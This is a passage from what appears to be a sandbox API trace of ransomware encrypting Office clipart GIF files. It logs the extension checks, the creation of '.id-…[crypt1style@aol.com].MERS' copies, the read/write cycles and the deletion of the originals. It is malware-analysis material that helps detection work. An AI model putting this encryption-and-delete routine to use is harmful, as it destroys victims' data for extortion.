lpString2=".GIF") returned 1 [0261.224] lstrlenW (lpString=".bz2") returned 4 [0261.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.224] lstrlenW (lpString=".7z") returned 3 [0261.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString=".dbf") returned 4 [0261.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString=".1cd") returned 4 [0261.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.224] lstrlenW (lpString=".jpg") returned 4 [0261.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString=".doc") returned 4 [0261.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.225] lstrlenW (lpString=".docx") returned 5 [0261.225] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.225] lstrlenW (lpString=".pdf") returned 4 [0261.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString=".xls") returned 4 [0261.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString=".xlsx") returned 5 [0261.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.225] lstrlenW (lpString=".ppt") returned 4 [0261.225] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString=".zip") returned 4 [0261.225] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString=".rar") returned 4 [0261.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.225] lstrlenW (lpString=".bz2") returned 4 [0261.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.225] lstrlenW (lpString=".7z") returned 3 [0261.225] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString=".dbf") returned 4 [0261.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString=".1cd") returned 4 [0261.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0261.225] lstrlenW (lpString=".jpg") returned 4 [0261.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.226] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0261.226] lstrlenW (lpString="AG00038_.GIF") returned 12 [0261.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.837] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3251) returned 1 [0261.837] CloseHandle (hObject=0x398) returned 1 [0261.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0262.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.193] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.193] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0262.194] GetLastError () returned 0x0 [0262.194] ReadFile (in: hFile=0x3a0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0262.262] WriteFile (in: hFile=0x2dc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0262.263] ReadFile (in: hFile=0x3a0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.263] WriteFile (in: hFile=0x2dc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.263] SetEndOfFile (hFile=0x2dc) returned 1 [0262.263] CloseHandle (hObject=0x2dc) returned 1 [0262.263] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.263] SetEndOfFile (hFile=0x3a0) returned 1 [0262.266] CloseHandle (hObject=0x3a0) returned 1 [0262.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.299] lstrlenW (lpString=".doc") returned 4 [0262.299] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.299] lstrlenW (lpString=".docx") returned 5 [0262.299] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.299] lstrlenW (lpString=".pdf") returned 4 [0262.299] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.299] lstrlenW (lpString=".xls") returned 4 [0262.299] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.299] lstrlenW (lpString=".xlsx") returned 5 [0262.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.299] lstrlenW (lpString=".ppt") returned 4 [0262.299] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.299] lstrlenW (lpString=".zip") returned 4 [0262.300] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString=".rar") returned 4 [0262.300] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString=".bz2") returned 4 [0262.300] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.300] lstrlenW (lpString=".7z") returned 3 [0262.300] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString=".dbf") returned 4 [0262.300] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString=".1cd") returned 4 [0262.300] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString=".jpg") returned 4 [0262.300] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString=".doc") returned 4 [0262.300] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.300] lstrlenW (lpString=".docx") returned 5 [0262.300] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.300] lstrlenW (lpString=".pdf") returned 4 [0262.300] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString=".xls") returned 4 [0262.300] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString=".xlsx") returned 5 [0262.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.300] lstrlenW (lpString=".ppt") returned 4 [0262.300] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.300] lstrlenW (lpString=".zip") returned 4 [0262.301] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.301] lstrlenW (lpString=".rar") returned 4 [0262.301] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.301] lstrlenW (lpString=".bz2") returned 4 [0262.301] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.301] lstrlenW (lpString=".7z") returned 3 [0262.301] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.301] lstrlenW (lpString=".dbf") returned 4 [0262.301] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.301] lstrlenW (lpString=".1cd") returned 4 [0262.301] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0262.301] lstrlenW (lpString=".jpg") returned 4 [0262.301] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.301] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0262.301] lstrlenW (lpString="AG00090_.GIF") returned 12 [0262.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0263.643] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=517) returned 1 [0263.643] CloseHandle (hObject=0x3b8) returned 1 [0263.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0263.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0263.745] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.745] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0264.884] GetLastError () returned 0x0 [0264.884] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x205, lpOverlapped=0x0) returned 1 [0264.885] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x210, lpOverlapped=0x0) returned 1 [0264.886] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.886] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.886] SetEndOfFile (hFile=0x2d8) returned 1 [0264.886] CloseHandle (hObject=0x2d8) returned 1 [0264.886] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.886] SetEndOfFile (hFile=0x3ac) returned 1 [0264.889] CloseHandle (hObject=0x3ac) returned 1 [0264.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0264.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.896] lstrlenW (lpString=".doc") returned 4 [0264.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.896] lstrlenW (lpString=".docx") returned 5 [0264.896] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.896] lstrlenW (lpString=".pdf") returned 4 [0264.896] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.896] lstrlenW (lpString=".xls") returned 4 [0264.896] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.896] lstrlenW (lpString=".xlsx") returned 5 [0264.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.896] lstrlenW (lpString=".ppt") returned 4 [0264.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.896] lstrlenW (lpString=".zip") returned 4 [0264.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString=".rar") returned 4 [0264.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString=".bz2") returned 4 [0264.897] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.897] lstrlenW (lpString=".7z") returned 3 [0264.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString=".dbf") returned 4 [0264.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString=".1cd") returned 4 [0264.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString=".jpg") returned 4 [0264.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString=".doc") returned 4 [0264.897] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.897] lstrlenW (lpString=".docx") returned 5 [0264.897] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.897] lstrlenW (lpString=".pdf") returned 4 [0264.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString=".xls") returned 4 [0264.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString=".xlsx") returned 5 [0264.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.897] lstrlenW (lpString=".ppt") returned 4 [0264.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.897] lstrlenW (lpString=".zip") returned 4 [0264.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.897] lstrlenW (lpString=".rar") returned 4 [0264.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.898] lstrlenW (lpString=".bz2") returned 4 [0264.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.898] lstrlenW (lpString=".7z") returned 3 [0264.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.898] lstrlenW (lpString=".dbf") returned 4 [0264.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.898] lstrlenW (lpString=".1cd") returned 4 [0264.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0264.898] lstrlenW (lpString=".jpg") returned 4 [0264.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.898] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0264.898] lstrlenW (lpString="AG00129_.GIF") returned 12 [0264.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.898] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=12482) returned 1 [0264.898] CloseHandle (hObject=0x3a0) returned 1 [0264.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0264.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.899] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.899] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.899] GetLastError () returned 0x0 [0264.899] ReadFile (in: hFile=0x3a0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0265.051] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0265.052] ReadFile (in: hFile=0x3a0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.052] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.052] SetEndOfFile (hFile=0x3c4) returned 1 [0265.287] CloseHandle (hObject=0x3c4) returned 1 [0265.382] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.382] SetEndOfFile (hFile=0x3a0) returned 1 [0265.922] CloseHandle (hObject=0x3a0) returned 1 [0265.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0265.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0265.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.939] lstrlenW (lpString=".doc") returned 4 [0265.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.939] lstrlenW (lpString=".docx") returned 5 [0265.939] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.939] lstrlenW (lpString=".pdf") returned 4 [0265.939] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.939] lstrlenW (lpString=".xls") returned 4 [0265.939] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.939] lstrlenW (lpString=".xlsx") returned 5 [0265.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.939] lstrlenW (lpString=".ppt") returned 4 [0265.939] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.939] lstrlenW (lpString=".zip") returned 4 [0265.939] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.939] lstrlenW (lpString=".rar") returned 4 [0265.939] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.939] lstrlenW (lpString=".bz2") returned 4 [0265.939] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.939] lstrlenW (lpString=".7z") returned 3 [0265.939] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.939] lstrlenW (lpString=".dbf") returned 4 [0265.939] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.939] lstrlenW (lpString=".1cd") returned 4 [0265.940] lstrcmpiW 